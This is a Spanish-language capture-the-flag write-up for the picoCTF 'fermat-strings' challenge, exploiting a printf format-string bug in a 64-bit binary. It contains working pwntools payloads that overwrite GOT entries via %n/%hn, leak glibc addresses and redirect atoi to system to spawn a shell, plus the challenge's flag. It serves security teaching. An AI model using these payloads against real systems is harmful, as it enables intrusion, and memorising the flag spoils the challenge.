fermat-strings
12 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Análisis de código estático
Tenemos también el código fuente en C. Básicamente, lo que hace el programa es pedir dos números y tratar de buscar uno que rompa el Último Teorema de Fermat.
Como recordatorio, el Último Teorema de Fermat dice que no existen números positivos $a$, $b$, $c$ que cumplan la ecuación:
$$ a ^ n + b ^ n = z ^ n $$
Para $n > 2$.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <math.h>
#define SIZE 0x100
void main(void) {
char A[SIZE];
char B[SIZE];
int a = 0;
int b = 0;
puts("Welcome to Fermat\\'s Last Theorem as a service");
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
printf("A: ");
read(0, A, SIZE);
printf("B: ");
read(0, B, SIZE);
A[strcspn(A, "\n")] = 0;
B[strcspn(B, "\n")] = 0;
a = atoi(A);
b = atoi(B);
if (a == 0 || b == 0) {
puts("Error: could not parse numbers!");
return 1;
}
char buffer[SIZE];
snprintf(buffer, SIZE, "Calculating for A: %s and B: %s\n", A, B);
printf(buffer);
int answer = -1;
for (int i = 0; i < 100; i++) {
if (pow(a, 3) + pow(b, 3) == pow(i, 3)) {
answer = i;
}
}
if (answer != -1) printf("Found the answer: %d\n", answer);
}
Vulnerabilidad de Format String
En el código fuente vemos una vulnerabilidad de Format String:
snprintf(buffer, SIZE, "Calculating for A: %s and B: %s\n", A, B);
printf(buffer);
Ya que podemos incluir formatos en la variable buffer
, que es el primer argumento de printf
. Sin embargo, necesitamos insertar un número válido en A
y B
:
printf("A: ");
read(0, A, SIZE);
printf("B: ");
read(0, B, SIZE);
A[strcspn(A, "\n")] = 0;
B[strcspn(B, "\n")] = 0;
a = atoi(A);
b = atoi(B);
Pero esto es fácil. Vamos a probar:
$ ./chall
Welcome to Fermat\'s Last Theorem as a service
A: 1.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
B: 1
Calculating for A: 1.400bd8.97161728.0.ffffffff.97161350.0.0.97161580.1.78252e31.252e7825.2e78252e.78252e78.252e7825 and B: 1
Como podemos ver, estamos extrayendo valores de la pila (stack). Y también vemos que la cadena de formatos comienza en la posición 10 (offset 10):
$ ./chall
Welcome to Fermat\'s Last Theorem as a service
A: 1AAA%10$x
B: 1
Calculating for A: 1AAA41414131 and B: 1
Explotación de Format String
El programa termina después de introducir los datos. Necesitamos encontrar una manera de ejecutar el programa de nuevo pero sin parar el proceso. Esto se puede hacer explotando la vulnerabilidad de Format String, ya que existe un formato %n
que permite escribir el número de bytes escritos hasta el formato %n
en la dirección dada como parámetro (el valor de la posición en la pila).
Vemos que el binario tiene la protección Partial RELRO, lo que indica que la GOT no se puede sobrescribir durante un Buffer Overflow, pero sí que se puede escribir con Format String. Por tanto, la idea es modificar una entrada de la GOT para que una función apunte a la dirección del main
y así volver a ejecutar el programa.
$ gdb -q chall
Reading symbols from chall...
(No debugging symbols found in chall)
gef➤ break main
Breakpoint 1 at 0x40083b
gef➤ run
Starting program: ./chall
Breakpoint 1, 0x000000000040083b in main ()
Ahora podemos ver las entradas de la GOT:
gef➤ got
GOT protection: Partial RelRO | GOT functions: 9
[0x601018] puts@GLIBC_2.2.5 → 0x4006c6
[0x601020] __stack_chk_fail@GLIBC_2.4 → 0x4006d6
[0x601028] setbuf@GLIBC_2.2.5 → 0x4006e6
[0x601030] printf@GLIBC_2.2.5 → 0x4006f6
[0x601038] snprintf@GLIBC_2.2.5 → 0x400706
[0x601040] pow@GLIBC_2.2.5 → 0x400716
[0x601048] strcspn@GLIBC_2.2.5 → 0x400726
[0x601050] read@GLIBC_2.2.5 → 0x400736
[0x601058] atoi@GLIBC_2.2.5 → 0x400746
Desde el punto donde está la vulnerabilidad de printf
, solamente se llama a pow
y a printf
. No nos interesa cambiar printf
, por lo que habrá que modificar la entrada de pow
.
Primero, vamos a poner la dirección en una posición de la pila. Para ello, utilizamos la variable A
para poner la dirección y la variable B
para extraerla. Pero antes, vamos a hacerlo con caracteres reconocibles:
$ ./chall
Welcome to Fermat\'s Last Theorem as a service
A: 1234567.AAAABBBB
B: 1.%11$lx
Calculating for A: 1234567.AAAABBBB and B: 1.4242424241414141
Nótese el uso de %lx
para imprimir un valor de 8 bytes, y la posición 11, porque en la posición 10 tenemos 1234567.
.
Ahora, podemos reemplazar AAAABBBB
con la dirección de pow
en la GOT. Y en lugar de poner %11$lx
, pondremos %11$n
. Vamos a hacerlo en un script en Python con pwntools
y adjuntar GDB para visualizar las entradas de la GOT:
payload_a = b'1234567.' + p64(pow_got)
payload_b = b'1.%11$n'
gdb.attach(p, gdbscript='break pow\ncontinue\ngot')
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.interactive()
Si ejecutamos el script, GDB toma el proceso, se para en pow
y muestra la GOT:
gef➤ got
GOT protection: Partial RelRO | GOT functions: 9
[0x601018] puts@GLIBC_2.2.5 → 0x7f4c7b0845a0
[0x601020] __stack_chk_fail@GLIBC_2.4 → 0x4006d6
[0x601028] setbuf@GLIBC_2.2.5 → 0x7f4c7b08bc50
[0x601030] printf@GLIBC_2.2.5 → 0x7f4c7b061e10
[0x601038] snprintf@GLIBC_2.2.5 → 0x7f4c7b061ee0
[0x601040] pow@GLIBC_2.2.5 → 0x28
[0x601048] strcspn@GLIBC_2.2.5 → 0x7f4c7b1837b0
[0x601050] read@GLIBC_2.2.5 → 0x7f4c7b10e130
[0x601058] atoi@GLIBC_2.2.5 → 0x7f4c7b044730
Explotación manual
La entrada de pow
se ha cambiado a 0x28
(40). Esto significa que hasta $11$n
se han impreso 40 bytes. Como hemos puesto 1.
antes de %11$n
, hay 38 bytes en la pila antes. Si ponemos 1..
, la entrada de la GOT cambiaría a 0x29
y sucesivamente.
En este momento, necesitamos introducir la dirección del main
(0x400837
, que es 4196407 en decimal) en la entrada de la GOT. Sin embargo, no podemos introducir tantos caracteres porque son demasiados.
Pero podemos utilizar otro formato. Como la dirección que necesitamos escribir es 4196407, entonces necesitamos que se impriman 4196407 - 38 - 2 = 4196367 bytes. Y esto se puede hacer con un formato como %4196367c
.
pow_got = 0x601040
payload_a = b'1234567.' + p64(pow_got)
payload_b = b'1.%4196367c' + b'%11$n'
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.interactive()
El cálculo del número de bytes a imprimir se puede realizar así también:
pow_got = 0x601040
bytes_on_stack = 38
bytes_to_print = main_addr - bytes_on_stack - 2
payload_a = b'1234567.' + p64(pow_got)
payload_b = f'1.%{bytes_to_print}c'.encode() + b'%11$n'
Y funciona, hemos convertido pow
en main
:
$ python3 solve.py
[+] Starting local process './chall': pid 389440
[*] Switching to interactive mode
Welcome to Fermat\'s Last Theorem as a service
A: $ 1
B: $ 1
Calculating for A: 1 and B: 1
Welcome to Fermat\'s Last Theorem as a service
A: $ 1
B: $ 1
Calculating for A: 1 and B: 1
Welcome to Fermat\'s Last Theorem as a service
A: $
Ahora tenemos más opciones para continuar con la explotación. Lo siguiente es fugar una dirección de Glibc para obtener su versión. El propósito de esto es calcular la dirección real de system
y ponerla en otra entrada de la GOT para la fase final.
Realizando fugas de memoria
Para fugar una dirección podemos utilizar la vulnerabilidad de Format String. Para ello, tenemos que llamar a printf
con el formato %s
(las cadenas de caracteres en C son dadas como punteros) y pasarle una dirección de la GOT (por ejemplo, puts
), de manera que el valor de la entrada de la GOT se imprima (funciona como un puntero).
La estrategia es similar: utilizamos la variable A
para almacenar la dirección de la GOT para puts
. Y después ponemos %11$s
en la variable B
:
puts_got = 0x601018
payload_a = b'1234567.' + p64(puts_got)
payload_b = b'1.%11$s'
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.recvuntil(b'B: 1.')
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.success(f'Leaked puts() address: {hex(puts_addr)}')
Después de esto, podemos calcular la dirección base de Glibc, sabiendo el offset de puts
:
$ ldd chall
linux-vdso.so.1 (0x00007ffda1df7000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f576d29c000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f576d0aa000)
/lib64/ld-linux-x86-64.so.2 (0x00007f576d3fe000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
194: 00000000000875a0 476 FUNC GLOBAL DEFAULT 16 _IO_puts@@GLIBC_2.2.5
429: 00000000000875a0 476 FUNC WEAK DEFAULT 16 puts@@GLIBC_2.2.5
504: 00000000001273c0 1268 FUNC GLOBAL DEFAULT 16 putspent@@GLIBC_2.2.5
690: 0000000000129090 728 FUNC GLOBAL DEFAULT 16 putsgent@@GLIBC_2.10
1158: 0000000000085e60 384 FUNC WEAK DEFAULT 16 fputs@@GLIBC_2.2.5
1705: 0000000000085e60 384 FUNC GLOBAL DEFAULT 16 _IO_fputs@@GLIBC_2.2.5
2342: 00000000000914a0 159 FUNC WEAK DEFAULT 16 fputs_unlocked@@GLIBC_2.2.5
puts_offset = 0x875a0
glibc_base_addr = puts_addr - puts_offset
log.success(f'Glibc base address: {hex(glibc_base_addr)}')
Con todo esto, hemos fugado la dirección de puts
y calculado la dirección base de Glibc:
$ python3 solve.py
[+] Starting local process './chall': pid 414163
[+] Leaked puts() address: 0x7f4a695695a0
[+] Glibc base address: 0x7f4a694e2000
[*] Switching to interactive mode
Welcome to Fermat\'s Last Theorem as a service
A: $
Ahora podemos buscar el offset de system
en Glibc:
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
236: 0000000000156a80 103 FUNC GLOBAL DEFAULT 16 svcerr_systemerr@@GLIBC_2.2.5
617: 0000000000055410 45 FUNC GLOBAL DEFAULT 16 __libc_system@@GLIBC_PRIVATE
1427: 0000000000055410 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
La idea es modificar la entrada de la GOT de una función que tome como primer argumento una cadena de caracteres controlada por nosotros para que apunte a system
. Por ejemplo, funciones de este tipo son atoi
y strcspn
. Esta vez, estaremos utilizando atoi
, cuya dirección en la GOT es 0x601058
.
atoi_got = 0x601058
system_offset = 0x55410
system_addr = glibc_base_addr + system_offset
Sobrescritura de la GOT
Ahora tenemos que escribir la dirección real de system
en la entrada GOT de atoi
. Vamos a introducir 0 bytes y ver qué valor se inserta en la GOT utilizando GDB como anteriormente:
payload_a = b'1234567.' + p64(pow_got)
payload_b = b'1.%11$n'
gdb.attach(p, gdbscript='break atoi\ncontinue\ngot')
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.interactive()
Si lo ejecutamos, GDB se añade al proceso, se para en atoi
y muestra la GOT:
gef➤ got
GOT protection: Partial RelRO | GOT functions: 9
[0x601018] puts@GLIBC_2.2.5 → 0x7f660b8465a0
[0x601020] __stack_chk_fail@GLIBC_2.4 → 0x4006d6
[0x601028] setbuf@GLIBC_2.2.5 → 0x7f660b84dc50
[0x601030] printf@GLIBC_2.2.5 → 0x7f660b823e10
[0x601038] snprintf@GLIBC_2.2.5 → 0x7f660b823ee0
[0x601040] pow@GLIBC_2.2.5 → 0x400837
[0x601048] strcspn@GLIBC_2.2.5 → 0x7f660b9457b0
[0x601050] read@GLIBC_2.2.5 → 0x7f660b8d0130
[0x601058] atoi@GLIBC_2.2.5 → 0x7f6600000028
Como se puede ver, la entrada de atoi
tiene valor 0x7f6600000028
. Con %11$n
hemos sobrescrito los últimos 4 bytes (es decir, 0x00000028
). Utilizando el mismo procedimiento de antes, necesitamos escribir un montón de bytes. El número de bytes a introducir se puede calcular como:
bytes_on_stack = 38
bytes_to_print = (system_addr - bytes_on_stack - 2) & 0xffffffff
Limitamos el número a 4 bytes por si acaso. Y después lo añadimos al payload y lo enviamos:
bytes_to_print = (system_addr - bytes_on_stack - 2) & 0xffffffff
payload_a = b'1234567.' + p64(atoi_got) + p64(atoi_got + 2)
payload_b = f'1.%{bytes_to_print}c'.encode() + b'%11$n'
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.recvline()
p.interactive()
Si todo es correcto, la entrada de atoi
en la GOT apuntará a system
. Y por tanto, podemos introducir /bin/sh
en A
o B
y obtener una consola de comandos:
$ python3 solve.py
[+] Starting local process './chall': pid 502833
[+] Leaked puts() address: 0x7f4a096565a0
[+] Glibc base address: 0x7f4a095cf000
[*] Switching to interactive mode
Welcome to Fermat\'s Last Theorem as a service
A: $ /bin/sh
B: $
$ ls
chall chall.c Dockerfile solve.py
Todo bien. Vamos a perfeccionar el exploit un poco para que nos dé la shell automáticamente:
p.sendlineafter(b'A: ', b'/bin/sh')
p.sendlineafter(b'B: ', b'')
p.recvuntil(b'B: ')
p.sendline()
p.interactive()
$ python3 solve.py
[+] Starting local process './chall': pid 507100
[+] Leaked puts() address: 0x7f6218d5b5a0
[+] Glibc base address: 0x7f6218cd4000
[*] Switching to interactive mode
$ ls
chall chall.c Dockerfile solve.py
Encontrando la versión de Glibc remota
No obstante, aún no hemos terminado. Tenemos que lanzar el exploit contra la instancia remota y obtener la versión de Glibc. Después, actualizar los offsets.
Para ayudar con la búsqueda de la versión, podemos fugar más direcciones de funciones de Glibc. Para ello, decidí programar una función llamada leak_address
:
def leak_address(got_entry: int) -> int:
payload_a = b'1234567.' + p64(got_entry)
payload_b = b'1.%11$s'
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.recvuntil(b'B: 1.')
return u64(p.recvline().strip().ljust(8, b'\0'))
De manera que se utilice así:
atoi_got = 0x601058
atoi_addr = leak_address(atoi_got)
log.success(f'Leaked atoi() address: {hex(atoi_addr)}')
puts_got = 0x601018
puts_addr = leak_address(puts_got)
log.success(f'Leaked puts() address: {hex(puts_addr)}')
Lanzamos el exploit al servidor y no funciona. Sin problema por ahora. Vamos a verificar las direcciones fugadas:
$ python3 solve.py mars.picoctf.net 31929
[+] Opening connection to mars.picoctf.net on port 31929: Done
[+] Leaked atoi() address: 0x7f026a26c730
[+] Leaked puts() address: 0x7f026a2ac5a0
[+] Glibc base address: 0x7f026a225000
Estas son las versiones de Glibc encontradas (sus offsets son los mismos):
Observamos que la versión de Glibc que tiene la instancia remota es la misma que tenemos en local.
Sin embargo, parece que la última etapa del exploit no funciona en remoto. Esto puede deberse a que estamos imprimiendo una gran cantidad de bytes para poder utilizar %n
. Una mamera más elegante es usar %hhn
para escribir un solo byte o %hn
para escribir 2 bytes.
Corrigiendo el exploit
Vamos a modificar el payload para tener un exploit más estable. Por el momento, utilizaremos %hn
. Los últimos bytes de la GOT pueden ser sobrescritos de manera similar a la de antes, solo con algunos cambios:
bytes_to_print = ((system_addr & 0xffff) - bytes_on_stack - 2) % 0xffff
payload_a = b'1234567.' + p64(atoi_got) + p64(atoi_got + 2)
payload_b = f'1.%{bytes_to_print}c'.encode() + b'%11$hn'
payload_b += f'%12$hn'.encode()
gdb.attach(p, gdbscript='break atoi\ncontinue\ncontinue\ncontinue\ngot')
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.recvline()
p.interactive()
Lo primero a notar es el uso de operadores AND para coger los 2 últimos bytes de la dirección de system
. Y luego está el operador módulo 0xffff
para evitar números negativos. Después utilizamos %11$hn
.
Para sobrescribir los siguientes 2 bytes, necesitamos poner la dirección de atoi
en la GOT pero más 2 (ya que queremos escribir los siguientes 2 bytes). Y por tanto, necesitamos utilizar %12$hn
. Por el momento, dejamos la segunda parte varía (solo %12$hn
).
Añadimos el proceso a GDB y mostramos las entradas de la GOT:
gef➤ got
GOT protection: Partial RelRO | GOT functions: 9
[0x601018] puts@GLIBC_2.2.5 → 0x7f70473075a0
[0x601020] __stack_chk_fail@GLIBC_2.4 → 0x4006d6
[0x601028] setbuf@GLIBC_2.2.5 → 0x7f704730ec50
[0x601030] printf@GLIBC_2.2.5 → 0x7f70472e4e10
[0x601038] snprintf@GLIBC_2.2.5 → 0x7f70472e4ee0
[0x601040] pow@GLIBC_2.2.5 → 0x400837
[0x601048] strcspn@GLIBC_2.2.5 → 0x7f70474067b0
[0x601050] read@GLIBC_2.2.5 → 0x7f7047391130
[0x601058] atoi@GLIBC_2.2.5 → 0x7f7054105410
Se observa que los dos últimos bytes fueron sobrescritos correctamente (al menos los 3 últimos dígitos hexadecimales son 410
, coinciden con el offset de system
). Y además, vemos que los siguientes 2 bytes tienen el mismo valor que los 2 últimos bytes (5410
).
Sabiendo esto, podemos calcular el número de bytes a escribir para lograr poner el número correcto en esa posición:
bytes_to_print = ((system_addr & 0xffff) - bytes_on_stack - 2) % 0xffff
payload_a = b'1234567.' + p64(atoi_got) + p64(atoi_got + 2)
payload_b = f'1.%{bytes_to_print}c'.encode() + b'%11$hn'
bytes_to_print = (((system_addr >> 16) - system_addr) & 0xffff) % 0xffff
payload_b += f'%{bytes_to_print}c'.encode() + b'%12$hn'
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.recvline()
p.interactive()
Y todo funciona genial en local:
$ python3 solve.py
[+] Starting local process './chall': pid 547640
[+] Leaked atoi() address: 0x7f05651e4730
[+] Leaked puts() address: 0x7f05652245a0
[+] Glibc base address: 0x7f056519d000
[*] Switching to interactive mode
$ ls
chall chall.c Dockerfile solve.py
Flag
Vamos a ver en remoto:
$ python3 solve.py mars.picoctf.net 31929
[+] Opening connection to mars.picoctf.net on port 31929: Done
[+] Leaked atoi() address: 0x7fc3974da730
[+] Leaked puts() address: 0x7fc39751a5a0
[+] Glibc base address: 0x7fc397493000
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
picoCTF{f3rm4t_pwn1ng_s1nc3_th3_17th_c3ntury}
El exploit completo se puede encontrar aquí: solve.py
.